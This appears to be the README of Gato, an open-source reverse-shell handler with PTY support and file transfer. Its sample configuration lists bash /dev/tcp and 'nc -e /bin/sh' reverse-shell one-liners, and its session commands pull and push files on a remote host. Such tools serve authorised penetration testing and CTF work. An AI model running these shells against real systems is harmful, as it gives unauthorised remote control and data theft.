Gato - Reverse Shell Handler
Gato is a reverse shell handler with interactive PTY support and file transfer capabilities.
Key Features
- TCP Listener: Starts a listener on a specified host and port.
- Interactive PTY Shell: Provides a fully interactive pseudo-terminal with raw mode support.
- File Transfers: Upload (
put) and download (get) files using secondary TCP connections.
- Built-in Commands: During an active session, press
Ctrl+Space to enter command mode and use get, put, help, or exit.
- Flexible Configuration: Configure via TOML file or command-line flags.
- Reverse Shell Helpers: List and select from multiple pre-defined reverse shell commands (e.g.,
bash, nc).
Quick Install
git clone https://github.com/0xMoonrise/gato
cd gato
go build -o gato cmd/gato/main.go
Or install directly using Go:
go install github.com/0xMoonrise/gato@latest
Basic Usage
# Listen on 0.0.0.0:4242 (default)
./gato
# Listen on a specific port
./gato 8080
# Listen on a specific IP and port
./gato 10.0.0.1 8080
# Use a specific interface to listen
./gato -p 8080 -i tun0
# List all available reverse shell helpers
./gato revers
Example Configuration config.toml
[listener]
host = "0.0.0.0"
port = "9001"
[interface]
name = "eth0"
[shell]
recipe = [
"export SHELL=/bin/bash",
"export TERM=xterm",
"script -qc /bin/bash /dev/null"
]
[revers]
selected = 0
revers = [
"bash -i >& /dev/tcp/%s/%s 0>&1",
"nc -e /bin/sh %s %s"
]
[transfer]
timeout = 30
port_start = "0"
The configuration file is searched in the current directory, ~/.config/gato/, or /etc/gato/.
Shell Recipes
The recipe field under [shell] in config.toml is an array of commands that are executed sequentially right after a reverse shell connection is established. This allows you to prepare the shell environment before handing control to the user.
Session Commands
Press Ctrl+Space during an active session to enter command mode, then use:
get <remote_file>: Download a file from the remote host.
put <local_file>: Upload a file to the remote host.
help: Show available commands.
exit: Close the connection.
Press Ctrl+] to force quit the session at any time.